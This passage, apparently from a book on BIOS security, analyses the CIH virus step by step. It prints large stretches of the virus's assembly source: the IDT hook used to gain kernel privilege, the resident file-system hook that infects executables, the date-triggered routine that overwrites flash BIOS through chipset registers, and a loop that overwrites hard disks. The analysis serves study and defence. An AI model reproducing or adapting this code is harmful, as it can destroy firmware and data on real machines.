; ************************************** 
; * Disable OnBusy                     * 
; ************************************** 
DisableOnBusy: 
   dec  byte ptr (OnBusy-@7)[esi]     ; Disable OnBusy 
 
; ************************************** 
; * Call previous FileSystemApiHook    * 
; ************************************** 
prevhook: 
   popad 
   mov   eax, dr0 ; 
   jmp   [eax]    ; Jump to prevhook 
 
; ************************************** 
; * Call the function that the IFS     * 
; * manager would normally call to     * 
; * implement this particular I/O      * 
; * request                            * 
; ************************************** 
pIFSFunc: 
   mov   ebx, esp 
   push  dword ptr [ebx+20h+04h+14h]  ; Push pioreq 
   call  [ebx+20h+04h]                ; Call pIFSFunc 
   pop   ecx                          ; 
   mov   [ebx+1ch], eax               ; Modify EAX value in stack 
 
; *************************** 
; * After calling pIFSFunc, * 
; * get some data from the  * 
; * returned pioreq         * 
; *************************** 
   cmp   dword ptr [ebx+20h+04h+04h], 00000024h 
   jne   QuitMyVirusFileSystemHook 
 
; ***************** 
; * Get the file  * 
; * modification  * 
; * date and time * 
; * in DOS format * 
; ***************** 
   mov   eax, [ecx+28h] 
   mov   (FileModificationTime-@6)[esi], eax 
 



; *************************** 
; * Quit my virus's         * 
; * IFSMgr_FileSystemHook   * 
; *************************** 
QuitMyVirusFileSystemHook: 
   popad 
   ret 
 
; ************************************** 
; * Kill computer?         *^_^*       * 
; ************************************** 
IsKillComputer: 
   ; Obtain today's date from BIOS CMOS 
   mov   al, 07h 
   out   70h, al 
   in    al, 71h 
   xor   al, 01h     ; ??/26/???? - weird; it should be "xor al, 26h" 
 
IF DEBUG 
      jmp   DisableOnBusy 
ELSE 
      jnz   DisableOnBusy 
ENDIF 
 
; *************************** 
; * Kill BIOS EEPROM        * 
; *************************** 
   mov   bp, 0cf8h   ; bp = PCI config address port 
   lea   esi, IOForEEPROM-@7[esi] ; esi = runtime address of IOForEEPROM 
 
; *********************** 
; * Show BIOS page in   * 
; * 000E0000-000EFFFF   * 
; *       (64 KB)       * 
; *********************** 
   mov   edi, 8000384ch ; edi = PCI bus 0, device 7, offset 4Ch 
   mov   dx, 0cfeh      ; Access offsets 4Eh-4Fh of the southbridge 
                        ; Note: Southbridge must be Intel PIIX4 
   cli 
   call  esi            ; Call IOForEEPROM -> enable access to BIOS chip 
 
; *********************** 
; * Show BIOS page in   * 
; * 000F0000-000FFFFF   * 
; *       (64 KB)       * 
; *********************** 
   mov   di, 0058h  ; Register 59h in Intel 430TX, 440BX northbridge -> 
                    ; memory-mapping register for BIOS address ranges 
   dec   edx        ; Point to register 59h 
   mov   word ptr (BooleanCalculateCode-@10)[esi], 0f24h ; Patch the 
                    ; opcode at BooleanCalculateCode label "and al, 



                    ; 0fh"; i.e., direct R/W operation to BIOS chip 
                    ; by PCI bus 
   call  esi        ; Call IOForEEPROM 
 
; *********************** 
; * Show the BIOS extra * 
; * ROM data in memory  * 
; * 000E0000-000E01FF   * 
; *      (512 bytes),   * 
; * and the section     * 
; * of extra BIOS can   * 
; * be written...       * 
; *********************** 
   lea   ebx, EnableEEPROMToWrite-@10[esi] 
   mov   eax, 0e5555h 
   mov   ecx, 0e2aaah 
   call  ebx  ; Call EnableEEPROMToWrite 
   mov   byte ptr [eax], 60h ; This is weird, it should be 
              ; "mov byte ptr [eax], 20h" to enable writing to BIOS; 
              ; "mov byte ptr [eax], 60h" is product ID command 
   push  ecx 
   loop  $    ; Delay to wait for BIOS chip cycles 
 
; *********************** 
; * Kill the BIOS extra * 
; * ROM data in memory  * 
; * 000E0000-000E007F   * 
; *      (80h bytes)    * 
; *********************** 
   xor   ah, ah 
   mov   [eax], al   ; Write 55h to address e0055h 
 
   xchg  ecx, eax 
   loop  $    ; Delay to wait for BIOS chip cycles 
 
; *********************** 
; * Show and enable the * 
; * BIOS main ROM data  * 
; * 000E0000-000FFFFF   * 
; *      (128 KB)       * 
; * can be written...   * 
; *********************** 
   mov   eax, 0f5555h 
   pop   ecx 
   mov   ch, 0aah 
   call  ebx  ; Call EnableEEPROMToWrite 
   mov   byte ptr [eax], 20h ; Enable writing to BIOS chip 
 
   loop  $    ; Delay to wait for BIOS chip cycles 
 
; *********************** 



; * Kill the BIOS main  * 
; * ROM data in memory  * 
; * 000FE000-000FE07F   * 
; *      (80h bytes)    * 
; *********************** 
   mov   ah, 0e0h 
   mov   [eax], al ; Write 55h to address fe055h 
 
; *********************** 
; * Hide BIOS page in   * 
; * 000F0000-000FFFFF   * 
; *       (64 KB)       * 
; *********************** 
   mov   word ptr (BooleanCalculateCode-@10)[esi], 100ch ; Patch the 
               ; opcode at BooleanCalculateCode label to "or al,10h"; 
               ; i.e., direct read operation to shadow DRAM and 
               ; direct write operation to BIOS chip by PCI bus 
   call  esi   ; Call IOForEEPROM 
               ; Note: edi and ebp registers preserved from previous call 
 
; *************************** 
; * Kill all HardDisk       * 
; *************************************************** 
; * IOR structure of IOS_SendCommand needs          * 
; *************************************************** 
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * 
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * 
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * 
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * 
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * 
; *************************************************** 
KillHardDisk: 
   xor   ebx, ebx 
   mov   bh, FirstKillHardDiskNumber 
   push  ebx 
   sub   esp, 2ch 
   push  0c0001000h 
   mov   bh, 08h 
   push  ebx 
   push  ecx 
   push  ecx 
   push  ecx 
   push  40000501h 
   inc   ecx 
   push  ecx 
   push  ecx 
   mov   esi, esp 
   sub   esp, 0ach 
 
LoopOfKillHardDisk: 
   int   20h 



   dd 00100004h  ; VXDCall IOS_SendCommand 
   cmp   word ptr [esi+06h], 0017h 
   je KillNextDataSection 
 
ChangeNextHardDisk: 
   inc   byte ptr [esi+4dh] 
   jmp   LoopOfKillHardDisk 
 
KillNextDataSection: 
   add   dword ptr [esi+10h], ebx 
   mov   byte ptr [esi+4dh], FirstKillHardDiskNumber 
   jmp   LoopOfKillHardDisk 
 
; *************************** 
; * Enable EEPROM to write  * 
; *************************** 
EnableEEPROMToWrite: 
   mov   [eax], cl 
   mov   [ecx], al 
   mov   byte ptr [eax], 80h 
   mov   [eax], cl 
   mov   [ecx], al 
   ret 
 
; *************************** 
; * I/O for EEPROM           * 
; *************************** 
IOForEEPROM: 
@10           =  IOForEEPROM 
   xchg  eax, edi 
   xchg  edx, ebp 
   out   dx, eax 
   xchg  eax, edi 
   xchg  edx, ebp 
   in    al, dx 
 
BooleanCalculateCode  =  $ 
   or al, 44h  ; Enable access to EEPROM for PIIX 
               ; In second pass, this opcode is modified to "and al, 0fh" 
               ; In third pass, this opcode is modified to "or al, 10h" 
   xchg  eax, edi 
   xchg  edx, ebp 
   out   dx, eax 
   xchg  eax, edi 
   xchg  edx, ebp 
   out   dx, al 
   ret 
 
; ********************************************************* 
; *                     Static Data                       * 
; ********************************************************* 



LastVxDCallAddress  =  IFSMgr_Ring0_FileIO 
VxDCallAddressTable db 00h 
   db IFSMgr_RemoveFileSystemApiHook-_PageAllocate 
   db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook 
   db IFSMgr_Ring0_FileIO-UniToBCSPath 
VxDCallIDTable    dd 00010053h, 00400068h, 00400041h, 00400032h 
VxDCallTableSize  =  ($-VxDCallIDTable)/04h 
 
; ********************************************************* 
; *                Virus Version Copyright                * 
; ********************************************************* 
VirusVersionCopyright  db  'WinCIH ver 1.5 by TATUNG, Thailand' 
 
; ********************************************************* 
; *                     Virus Size                        * 
; ********************************************************* 
VirusSize      =  $ 
 
; ********************************************************* 
; *                     Dynamic Data                      * 
; ********************************************************* 
VirusGameDataStartAddress  =  VirusSize 
@6      =  VirusGameDataStartAddress 
OnBusy         db  0 
FileModificationTime    dd ? 
 
FileNameBuffer db  FileNameBufferSize dup(?) 
@7      =  FileNameBuffer 
 
DataBuffer     =   $ 
@8      =  DataBuffer 
NumberOfSections        dw ? 
TimeDateStamp           dd ? 
SymbolsPointer          dd ? 
NumberOfSymbols         dd ? 
SizeOfOptionalHeader    dw ? 
_Characteristics        dw ? 
Magic                   dw ? 
LinkerVersion           dw ? 
SizeOfCode              dd ? 
SizeOfInitializedData   dd ? 
SizeOfUninitializedData dd ? 
AddressOfEntryPoint     dd ? 
BaseOfCode              dd ? 
BaseOfData              dd ? 
ImageBase               dd ? 
@9      =  $ 
SectionAlignment        dd ? 
FileAlignment           dd ? 
OperatingSystemVersion  dd ? 
ImageVersion            dd ? 



SubsystemVersion        dd ? 
Reserved                dd ? 
SizeOfImage             dd ? 
SizeOfHeaders           dd ? 
SizeOfImageHeaderToRead  =  $-NumberOfSections 
NewAddressOfEntryPoint   = DataBuffer  ; DWORD 
SizeOfImageHeaderToWrite =  04h 
StartOfSectionTable      = @9 
SectionName              =  StartOfSectionTable ; QWORD 
VirtualSize              =  StartOfSectionTable+08h ; DWORD 
VirtualAddress           =  StartOfSectionTable+0ch ; DWORD 
SizeOfRawData            =  StartOfSectionTable+10h ; DWORD 
PointerToRawData         =  StartOfSectionTable+14h ; DWORD 
PointerToRelocations     =  StartOfSectionTable+18h ; DWORD 
PointerToLineNumbers     =  StartOfSectionTable+1ch ; DWORD 
NumberOfRelocations      =  StartOfSectionTable+20h ; WORD 
NumberOfLineNumbers      =  StartOfSectionTable+22h ; WORD 
Characteristics          =  StartOfSectionTable+24h ; DWORD 
SizeOfSectionTable       =  Characteristics+04h-SectionName 
 
; ********************************************************* 
; *             Virus Total Need Memory                   * 
; ********************************************************* 
VirusNeedBaseMemory   =  $ 
VirusTotalNeedMemory  =  @9 
 
; ********************************************************* 
VirusGame    ENDS 
 
 Now examine code related to the destruction of the BIOS contents in listing 12.1. Start 
with the entry point of the virus code. In an infected executable file, the entry point of the 
executable is diverted to the virus entry point, i.e., the MyVirusStart label in listing 12.1. 
The original entry point is executed after the virus code executes. Thus, you start the 
analysis from this label. According to figure 12.1, in the first component in the virus 
segment it is routine to modify the IDT. I show you how it's implemented in listing 12.3. 
But before going to the IDT modification routine, I would like to note a trick used by the 
CIH author to calculate the runtime address of labels within the virus code. A sample of 
this trick is shown in listing 12.2. 
 

Listing 12.2 Runtime Address Calculation Routine 

MyVirusStart: 
         push  ebp 
 
; ************************************** 
; * Modify structured exception        * 
; * handling and prevent exception     * 
; * error occurrence, especially in NT * 
; ************************************** 



   lea   eax, [esp-04h*2] 
   xor   ebx, ebx 
   xchg  eax, fs:[ebx] 
   call  @0   ; "Relative" (calculated from the end of this opcode) call 
              ; to @0 routine 
@0: 
   pop   ebx  ; ebx = return address -> i.e., address right after the 
              ; calling opcode at runtime 
   lea   ecx, StopToRunVirusCode-@0[ebx] ; ecx = StopToRunVirusCode - @0 
                                         ;       + ebx 
              ; i.e., ecx = runtime address of StopToRunVirusCode label 
   push  ecx  ; Save runtime address of StopToRunVirusCode label to stack 
   push  eax  ; Save fs:[0] to stack 
   ... 
 
 As you can see, the runtime address of the StopToRunVirus label is calculated as 
follows: first, the runtime address of the @0 label is popped into ebx. The call @0 
instruction saves this address to stack. Then, the distance from the StopToRunVirus label 
to the @0 label is added to the runtime address of the @0 label and stored in the ecx register. 
This operation is carried out in the following line: 
 
lea ecx, StopToRunVirusCode-@0[ebx] 
 
 Now, look into the IDT modification routine. It's shown in listing 12.3. 
 

Listing 12.3 IDT Modification Routine 

   ... 
; ************************************** 
; * Modify the IDT                     * 
; * to obtain Ring0 privilege...       * 
; ************************************** 
   push  eax        ; Put "dummy" placeholder for IDT base address 
                    ; into stack 
   sidt  [esp-02h]  ; Obtain IDT base address, store it in stack 
                    ; (esp-2 = 16-bit IDT limit) 
   pop   ebx        ; ebx = IDT base address (32 bits) 
   add   ebx, HookExceptionNumber*08h+04h ; ZF = 0; 
                                     ; ebx = pointer to patched IDT entry 
   cli   ; Disable maskable interrupt; exception is still enabled 
   mov   ebp, [ebx] ; Save exception-handler base address 
                    ; (bits 16-31) to ebp 
   mov   bp, [ebx-04h] ; Save exception-handler base address 
                       ; (bits 0-15) to ebp 
   lea   esi, MyExceptionHook-@1[ecx]; esi = MyExceptionHook - 
             ; StopToRunVirusCode + runtime address of StopToRunVirusCode 
             ; i.e., esi = runtime address of MyExceptionHook label 
   push  esi ; Save runtime address of MyExceptionHook label to stack 
   mov   [ebx-04h], si ; Modify exception-handler entry point address 



                       ; (bits 0-15) 
   shr   esi, 16       ; si = exception-handler entry point address 
                       ; (bits 16-31) 
   mov   [ebx+02h], si ; Modify exception-handler entry point address 
                       ; (bits 16-31) 
   pop   esi           ; esi = runtime address of MyExceptionHook label 
   ... 
 
 The IDT modification routine is difficult to understand. Thus, I will draw the contents 
of the stack to clarify it. First, the routine in listing 12.3 places a dummy 32-bit value to 
stack. Then, it stores the physical address of the IDT and its limit to stack. Figure 12.2 
shows the contents of the stack after the execution of sidt instruction in listing 12.3. 
 

 
Figure 12.2 Contents of the stack just before the IDT is modified 

 
 After the sidt instruction, the 32-bit IDT physical address is popped to the ebx register 
and used as the base address to calculate the IDT entry that's going to be modified. Listing 
12.3 shows that the HookExceptionNumber constant is used to refer to the IDT entry that 
will be modified. If you look at CIH 1.5 source code, you'll notice that the 
HookExceptionNumber constant will be replaced with 4 or 6 upon assembling. IDT entry 
number 4 is overflow exception, and entry number 6 is invalid opcode exception. However, 
the CIH binaries found back then never used one of those numbers. Instead, they used IDT 
entry number 3—breakpoint exception. Modifying IDT entry number 3 was convenient 
because it confused debuggers and made the analysis of CIH harder for antivirus 
researchers in those days. Listing 12.4 shows a snippet from the disassembly of CIH with 
build number 2690 that uses int 3h (exception number 3) to jump into kernel mode. 
 

Listing 12.4 CIH Build 2690 Disassembly Using int 3h 

HEADER:010002E2 loc_10002E2: 
HEADER:010002E2   int   3                   ; Trap to debugger 
HEADER:010002E3   jmp   short loc_10002E6 
 
 Listing 12.3 also shows that the modified IDT entry points to the runtime address of 
MyExceptionHook. Therefore, when an exception with a number matching the 
HookExceptionNumber constant is raised, the virus code execution will jump to the 
MyExceptionHook label. This brings you to the second component of the virus code 
segment in figure 12.1—the exception handler routine. This routine is marked with the 



MyExceptionHook label. Listing 12.5 shows the jump into this exception handler and the 
contents of the exception handler. 
 

Listing 12.5 CIH Exception Handler 

   ... 
   int   HookExceptionNumber ; Generate exception -> jump to 
      ; MyExceptionHook routine -> allocate system memory for this virus 
ReturnAddressOfEndException = $ 
 
; ************************************** 
; * Merge all virus code section       * 
; ************************************** 
   push  esi 
   ... 
; ********************************************************* 
; *             Ring0 Virus Game Initial Program          * 
; ********************************************************* 
MyExceptionHook: 
@2      =  MyExceptionHook 
   jz InstallMyFileSystemApiHook  ; First pass, jump is _not_ taken 
                                  ; Second pass, jump _is_ taken 
; ************************************** 
; * Does the virus exist in the system?* 
; ************************************** 
   mov   ecx, dr0 
   jecxz AllocateSystemMemoryPage ; First pass, jump is taken because 
                                  ; default value for DR0 on boot is 0 
   ... 
 
; *************************************** 
; * Allocate system memory page to use  * 
; *************************************** 
AllocateSystemMemoryPage: 
   mov   dr0, ebx      ; Set the mark of My Virus Exists in System 
   push  00000000fh    ; 
   push  ecx           ; First-pass push 0 
   push  0ffffffffh    ; 
   push  ecx           ; First-pass push 0 
   push  ecx           ; First-pass push 0 
   push  ecx           ; First-pass push 0 
   push  000000001h    ; 
   push  000000002h    ; 
   int   20h           ; VMMCALL _PageAllocate 
_PageAllocate     = $  ; 
   dd 00010053h        ; Use EAX, ECX, EDX, and flags 
   add   esp, 08h*04h  ; Balance stack pointer 
   xchg  edi, eax      ; EDI = allocated system memory start address 
   lea   eax, MyVirusStart-@2[esi] ; eax = MyVirusStart - MyExceptionHook 
                                   ;       + runtime address of 



                                   ;         MyExceptionHook label 
                                   ; i.e., runtime address of 
                                   ; MyVirusStart label 
   iretd               ; Return to Ring3 initial program 
   ... 
 
 In listing 12.5, when CIH generates the exception by using the int instruction, CIH 
execution jumps into the MyExceptionHook label. During this jump, the context of the code 
execution switches from user mode to kernel mode. Therefore, when CIH execution arrives 
at the MyExceptionHook label, it's in kernel mode, which means CIH has full control of the 
system. At this point, the zero flag is not set and the debug registers are still in their default 
values.2 Thus, CIH code will branch to allocate system memory to be used by the virus. It 
does so by calling a kernel function named _PageAllocate. (Because the CIH code is 
executing in kernel mode at this point, kernel functions are available to be called directly.) 
After allocating system memory, CIH execution returns to the code right after the previous 
int instruction (that generates the exception) with an iretd instruction, i.e., right after the 
"merge all virus code section" comment. This also switches CIH execution from kernel 
mode back to user mode. 
 The lines of code right after the first exception copy the virus code to the allocated 
system memory and subsequently set the zero flag. Then, the virus code generates the same 
exception as before. However, this time the zero flag is set, not like before. Therefore, the 
virus code execution jumps into the MyExceptionHook label and installs the file system 
hooks. Listing 12.6 shows this process. 
 

Listing 12.6 CIH Routine to Install File System Hook 

; ************************************** 
; * Merge all virus code section       * 
; ************************************** 
   push  esi 
   mov   esi, eax        ; esi = address of allocated system memory 
 
LoopOfMergeAllVirusCodeSection: 
   mov   ecx, [eax-04h]  ; ecx = VirusSize -> Hint: Look at the end of 
                         ;                    OriginalAppEXE 
   rep   movsb           ; Copy virus code to system memory 
   sub   eax, 08h 
   mov   esi, [eax] 
   or    esi, esi        ; First pass, esi = 0 
   jz    QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 
   jmp   LoopOfMergeAllVirusCodeSection 
 
QuitLoopOfMergeAllVirusCodeSection: 

                                                 
2 Windows 9x doesn't alter the debug registers values during boot. Therefore, the power-up and reset 
values are preserved, i.e., 00000000h for DR0–DR3 registers. See Intel 64 and IA-32 Intel 
Architecture Software Developer's Manual: Volume 3A, Table 9-1, for debug registers power-up and 
reset values. 



   pop   esi 
 
; ************************************** 
; * Generate exception again           * 
; ************************************** 
   int   HookExceptionNumber ; Generate exception again -> jump to 
             ; MyExceptionHook routine -> install file system hook 
 
; ************************************** 
; * Restore structured                 * 
; * exception handling                 * 
; ************************************** 
ReadyRestoreSE: 
   sti 
   xor   ebx, ebx 
   jmp   RestoreSE 
 
   ... 
 
RestoreSE: 
   pop   dword ptr fs:[ebx] 
   pop   eax ; eax = runtime address of FileSystemApiHook label 
 
; ************************************** 
; * Return original app to execute     * 
; ************************************** 
   pop   ebp 
   push  00401000h  ; Push original application entry point to stack 
OriginalAddressOfEntryPoint   = $-4 
   ret              ; Return to original application entry point 
 
; ********************************************************* 
; *             Ring0 Virus Game Initial Program          * 
; ********************************************************* 
MyExceptionHook: 
@2      =  MyExceptionHook 
   jz InstallMyFileSystemApiHook    ; First pass, jump is _not_ taken 
                                    ; Second pass, jump _is_ taken 
   ... 
 
; ************************************** 
; * Return to Ring3 initial program    * 
; ************************************** 
ExitRing0Init: 
   mov   [ebx-04h], bp ; 
   shr   ebp, 16       ; Restore exception 
   mov   [ebx+02h], bp ; 
   iretd               ; Jump to ReadyRestoreSE label 
   ... 
 
; ************************************** 



; * Install my file system API hook    * 
; ************************************** 
InstallMyFileSystemApiHook: 
   lea   eax, FileSystemApiHook-@6[edi] ; eax = runtime address of 
                ;  FileSystemApiHook in the allocated system memory pages 
 
   push  eax    ; 
   int   20h    ; VXDCALL IFSMgr_InstallFileSystemApiHook 
IFSMgr_InstallFileSystemApiHook = $ 
   dd 00400067h ; Use EAX, ECX, EDX, and flags 
                ; This variable is patched by Windows 9x's VMM to point 
                ; to the real IFSMgr_InstallFileSystemApiHook procedure 
                ; when int 20h is being processed 
   mov   dr0, eax   ; Save OldFileSystemApiHook address 
   pop   eax    ; EAX = FileSystemApiHook runtime address in the 
                ;       allocated system memory 
                ; Save old IFSMgr_InstallFileSystemApiHook entry point 
   mov   ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] ; ecx = pointer to 
                ; entry point of IFSMgr_InstallFileSystemApiHook function 
   mov   edx, [ecx] ; edx = IFSMgr_InstallFileSystemApiHook function 
                    ;       entry point in the system 
   mov   OldInstallFileSystemApiHook-@3[eax], edx     ; Save address of 
                ; old IFSMgr_InstallFileSystemApiHook to allocated 
                ; system memory 
 
   ; Modify IFSMgr_InstallFileSystemApiHook entry point 
   lea   eax, InstallFileSystemApiHook-@3[eax]        ; eax = runtime 
                ; address of InstallFileSystemApiHook label in the 
                ; allocated system memory 
   mov   [ecx], eax ; Modify IFSMgr_InstallFileSystemApiHook entry point 
                    ; to point to this virus's custom procedure in the 
                    ; allocated system memory 
   cli 
   jmp   ExitRing0Init 
 
; ********************************************************* 
; *             Code Size of Merge Virus Code Section     * 
; ********************************************************* 
CodeSizeOfMergeVirusCodeSection  =  offset $ 
 
; ********************************************************* 
; *             IFSMgr_InstallFileSystemApiHook           * 
; ********************************************************* 
InstallFileSystemApiHook: 
   push  ebx 
   call  @4       ; 
@4: 
   pop   ebx      ; mov ebx, offset FileSystemApiHook 
   add   ebx, FileSystemApiHook-@4 ; 
   push  ebx 
   int   20h      ; VXDCALL IFSMgr_RemoveFileSystemApiHook 



IFSMgr_RemoveFileSystemApiHook = $ 
   dd 00400068h   ; Use EAX, ECX, EDX, and flags 
   pop   eax 
   ; Call original IFSMgr_InstallFileSystemApiHook 
   ; to link client FileSystemApiHook 
   push  dword ptr [esp+8] 
   call  OldInstallFileSystemApiHook-@3[ebx] 
   pop   ecx 
   push  eax 
   ; Call original IFSMgr_InstallFileSystemApiHook 
   ; to link my FileSystemApiHook 
   push  ebx 
   call  OldInstallFileSystemApiHook-@3[ebx] 
   pop   ecx 
   mov   dr0, eax ; Adjust OldFileSystemApiHook address 
   pop   eax 
   pop   ebx 
   ret 
 
; ********************************************************* 
; *                     Static Data                       * 
; ********************************************************* 
OldInstallFileSystemApiHook dd ? 
 
; ********************************************************* 
; *             IFSMgr_FileSystemHook                     * 
; ********************************************************* 
 
; ************************************** 
; * IFSMgr_FileSystemHook entry point  * 
; ************************************** 
FileSystemApiHook: 
@3        = FileSystemApiHook 
   pushad 
   call  @5 ; 
@5:               ; 
   pop   esi      ; mov esi, offset VirusGameDataStartAddress 
   add   esi, VirusGameDataStartAddress-@5 ; esi = runtime address of 
                                           ;       VirusSize 
   ... 
 
 Even listing 12.6 might be still confusing. Many virus codes are cryptic like this. Thus, 
I'll give you a graphical representation of the flow of execution. Use the labels, function 
names, and comments from listing 12.6 as your guide to traverse the code. Figure 12.3 
shows the code flow. 
 



 
Figure 12.3 Installing the file system hook 

 



 Figure 12.3 shows that a file system API is installed into the kernel of the operating 
system. Therefore, every time a call to the file system API is made, this hook is executed. 
Note that after the hook is installed, the execution in CIH virus source code is no longer 
"linear"; the file system API hook code is dormant and executes only if the operating 
system requests it—much like a device driver. As you can see in the virus segment source 
code, this hook checks the type of operation carried out and infects the file with a copy of 
the virus code if the file is an executable file. Don't forget that at this point the file system 
hook is a resident entity in the system—think of it as part of the kernel. It has been copied 
to system memory allocated for hooking purposes by the virus code in the beginning of 
listing 12.6. Figure 12.4 shows the state of the CIH virus in the system's virtual address 
space right after file system API hook installation. This should clarify the CIH code 
execution up to this point. 
 

 
Figure 12.4 CIH state in memory after file system API hook installation 

 
 Don't forget that the file system API hook will be called if the operating system interacts 
with a file, such as when opening, closing, writing, or reading it. 
 The file system API hook is long. Therefore, I only show its interesting parts in listing 
12.7. In this listing, you can see how the virus destroys the BIOS contents. I focus on that 
subject. 
 

Listing 12.7 File System API Hook 

; ************************************** 
; * IFSMgr_FileSystemHook entry point  * 
; ************************************** 



FileSystemApiHook: 
@3      =  FileSystemApiHook 
 
   pushad 
   call  @5 
@5: 
   pop   esi      ; mov esi, offset VirusGameDataStartAddress 
   add   esi, VirusGameDataStartAddress-@5  ; esi = runtime address of 
                                            ;       VirusSize 
   ... 
 
; ************************************** 
; * Close file                         * 
; ************************************** 
CloseFile: 
   xor   eax, eax 
   mov   ah, 0d7h 
   call  edi  ; VXDCall IFSMgr_Ring0_FileIO 
 
; ************************************** 
; * Need to restore file modification  * 
; * time?                              * 
; ************************************** 
   popf 
   pop   esi 
   jnc   IsKillComputer 
 
   ... 
 
; ************************************** 
; * Kill computer?         *^_^*       * 
; ************************************** 
IsKillComputer: 
   ; Obtain today's date from BIOS CMOS 
   mov   al, 07h 
   out   70h, al 
   in    al, 71h 
   xor   al, 01h   ; ??/26/???? - weird; it should be "xor al, 26h" 
 
IF DEBUG 
      jmp   DisableOnBusy 
ELSE 
      jnz   DisableOnBusy 
ENDIF 
 
; *************************** 
; * Kill BIOS EEPROM        * 
; *************************** 
   mov   bp, 0cf8h      ; bp = PCI config address port 
   lea   esi, IOForEEPROM-@7[esi] ; esi = runtime address of IOForEEPROM 
 



; *********************** 
; * Show BIOS page in   * 
; * 000E0000-000EFFFF   * 
; *       (64 KB)       * 
; *********************** 
   mov   edi, 8000384ch ; edi = PCI bus 0, device 7, offset 4Ch 
   mov   dx, 0cfeh      ; access offsets 4Eh-4Fh of the southbridge 
                        ; Note: Southbridge must be Intel PIIX4 
   cli 
   call  esi            ; Call IOForEEPROM -> enable access to BIOS chip 
 
; *********************** 
; * Show BIOS page in   * 
; * 000F0000-000FFFFF   * 
; *       (64 KB)       * 
; *********************** 
   mov   di, 0058h    ; Register 59h in Intel 430TX, 440BX northbridge -> 
                      ; memory-mapping register for BIOS address ranges 
   dec   edx  ; Point to register 59h 
   mov   word ptr (BooleanCalculateCode-@10)[esi], 0f24h ; Patch the 
              ; opcode at BooleanCalculateCode label "and al, 0fh"; 
              ; i.e., direct R/W operation to BIOS chip by PCI bus 
   call  esi  ; call IOForEEPROM 
 
; *********************** 
; * Show the BIOS extra * 
; * ROM data in memory  * 
; * 000E0000-000E01FF   * 
; *      (512 bytes)    * 
; * and the section     * 
; * of Extra BIOS can   * 
; * be written...       * 
; *********************** 
   lea   ebx, EnableEEPROMToWrite-@10[esi] 
   mov   eax, 0e5555h 
   mov   ecx, 0e2aaah 
   call  ebx   ; Call EnableEEPROMToWrite 
   mov   byte ptr [eax], 60h ; This is weird; it should be 
               ; "mov byte ptr [eax], 20h" to enable writing to BIOS; 
               ; "mov byte ptr [eax], 60h" is product ID command 
   push  ecx 
   loop  $     ; Delay to wait for BIOS chip cycles 
 
; *********************** 
; * Kill the BIOS extra * 
; * ROM data in memory  * 
; * 000E0000-000E007F   * 
; *      (80h bytes)    * 
; *********************** 
   xor   ah, ah 
   mov   [eax], al ; Write 55h to address e0055h 



 
   xchg  ecx, eax 
   loop  $    ; Delay to wait for BIOS chip cycles 
 
; *********************** 
; * Show and enable the * 
; * BIOS main ROM data  * 
; * 000E0000-000FFFFF   * 
; *      (128 KB)       * 
; * can be written...   * 
; *********************** 
   mov   eax, 0f5555h 
   pop   ecx 
   mov   ch, 0aah 
   call  ebx  ; Call EnableEEPROMToWrite 
   mov   byte ptr [eax], 20h ; Enable writing to BIOS chip 
 
   loop  $    ; Delay to wait for BIOS chip cycles 
 
; *********************** 
; * Kill the BIOS main  * 
; * ROM data in memory  * 
; * 000FE000-000FE07F   * 
; *      (80h bytes)    * 
; *********************** 
   mov   ah, 0e0h 
   mov   [eax], al ; Write 55h to address fe055h 
 
; *********************** 
; * Hide BIOS page in   * 
; * 000F0000-000FFFFF   * 
; *       (64 KB)       * 
; *********************** 
   mov   word ptr (BooleanCalculateCode-@10)[esi], 100ch ; Patch the 
              ; opcode at BooleanCalculateCode label "or al,10h"; 
              ; i.e., direct read operation to shadow DRAM and 
              ; direct write operation to BIOS chip by PCI bus 
   call  esi  ; Call IOForEEPROM 
              ; Note: edi and ebp registers preserved from previous call 
 
   ... 
 
; *************************** 
; * Enable EEPROM to write  * 
; *************************** 
EnableEEPROMToWrite: 
   mov   [eax], cl 
   mov   [ecx], al 
   mov   byte ptr [eax], 80h 
   mov   [eax], cl 
   mov   [ecx], al 



   ret 
 
; *************************** 
; * I/O for EEPROM           * 
; *************************** 
IOForEEPROM: 
@10        =  IOForEEPROM 
   xchg  eax, edi 
   xchg  edx, ebp 
   out   dx, eax 
   xchg  eax, edi 
   xchg  edx, ebp 
   in al, dx 
 
BooleanCalculateCode  =  $ 
   or al, 44h ; Enable access to EEPROM for PIIX 
              ; In second pass, this opcode is modified to "and al, 0fh" 
              ; In third pass, this opcode is modified to "or al, 10h" 
   xchg  eax, edi 
   xchg  edx, ebp 
   out   dx, eax 
   xchg  eax, edi 
   xchg  edx, ebp 
   out   dx, al 
   ret 
   ... 
 
 Listing 12.7 is well commented, and you should be able to understand it. However, I 
will clarify some sections that can confuse you. You need some datasheets to understand 
the BIOS destruction code in listing 12.7, namely, datasheets for the Intel 440BX, Intel 
430TX, and Intel 82371AB (PIIX4) chipsets and some flash ROM datasheets—I'm using 
Winbond W29C020C and SST29EE010 datasheets. 
 Start with the entry point to the BIOS destruction routine. The routine is called from the 
routine following the CloseFile label. The virus code checks whether the date stored in 
the CMOS matches the predefined date in the virus. If they match, the BIOS destruction 
code is "called" by the virus. 
 Now, proceed to the BIOS destruction routine. First, this routine enables access to the 
BIOS chip by configuring the X-Bus chip select register in the Intel PIIX4 southbridge. 
This process is shown in listing 12.8. 
 

Listing 12.8 Enabling Access to the BIOS Chip 

   mov   edi, 8000384ch ; edi = PCI bus 0, device 7, offset 4Ch 
   mov   dx, 0cfeh      ; Access offsets 4Eh-4Fh of the southbridge 
                        ; Note: Southbridge must be Intel PIIX4 
   cli 
   call  esi            ; Call IOForEEPROM -> enable access to BIOS chip 
   ... 
IOForEEPROM: 



@10        =  IOForEEPROM 
   xchg  eax, edi 
   xchg  edx, ebp 
   out   dx, eax 
   xchg  eax, edi 
   xchg  edx, ebp 
   in al, dx 
 
BooleanCalculateCode  =  $ 
   or al, 44h           ; Enable access to EEPROM for PIIX 
   xchg  eax, edi 
   xchg  edx, ebp 
   out   dx, eax 
